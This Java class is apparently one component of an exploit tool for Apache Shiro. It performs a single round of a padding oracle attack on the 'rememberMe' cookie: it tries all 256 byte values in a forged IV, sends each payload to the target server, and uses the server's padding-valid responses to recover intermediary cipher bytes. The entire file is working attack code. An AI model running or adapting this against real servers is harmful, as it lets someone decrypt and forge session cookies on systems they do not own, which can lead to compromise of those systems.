package com.shiroexploit.core;

import com.shiroexploit.util.HttpRequest;
import com.shiroexploit.util.HttpRequestInfo;
import com.shiroexploit.util.Tools;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicInteger;

public class RoundTask {
    private int threads;
    private String cipherText;
    private int position;
    private String rememberMe;
    private StringBuffer intermediary;
    private String suffix;
    private HttpRequestInfo httpRequestInfo;

    public RoundTask(HttpRequestInfo httpRequestInfo, int position, String cipherText, StringBuffer intermediary) {
        this.threads = 1;
        this.httpRequestInfo = httpRequestInfo;
        this.cipherText = cipherText;
        this.position = position;
        this.rememberMe = httpRequestInfo.getRememberMeCookie();
        this.intermediary = intermediary;
        this.suffix = Tools.xor(intermediary.toString(), Tools.generateSuffix(position));
    }

    private AtomicInteger _index = new AtomicInteger(0);
    public void start() {
        final CountDownLatch latch = new CountDownLatch(256);
        final ExecutorService executor = Executors.newFixedThreadPool(this.threads);

        for(int a = 0; a < 256; a++) {
            if(!executor.isShutdown()){
                executor.execute(new Runnable() {
                    @Override
                    public void run() {
                        int j = _index.getAndIncrement();

                        String hex = Integer.toHexString(j);
                        if (hex.length() == 1) {
                            hex = 0 + hex;
                        }

                        String ivString = "00000000000000000000000000000000".substring(2 * position) + hex + suffix;
                        String paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText);

                        if (HttpRequest.isValid(httpRequestInfo, paddingOraclePayload)) {
                            // position=1 的时候有非常低的概率可能是满足 0x02 0x02 类似形式的padding，需要排除这种可能
                            if (position == 1) {
                                ivString = ivString.substring(0, 28) + "01" + ivString.substring(30);
                                paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText);

                                if (HttpRequest.isValid(httpRequestInfo, paddingOraclePayload)) {
                                    synchronized (RoundTask.class){
                                        intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString));
                                        executor.shutdownNow();
                                        while (latch.getCount() > 0) {
                                            latch.countDown();
                                        }
                                    }
                                }
                            } else {
                                synchronized (RoundTask.class){
                                    intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString.substring(32 - 2 * position, 32 - 2 * position + 2)));
                                    executor.shutdownNow();
                                    while (latch.getCount() > 0) {
                                        latch.countDown();
                                    }
                                }
                            }
                        }

                        latch.countDown();
                    }
                });
            }
        }

        try {
            latch.await();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

    }
}
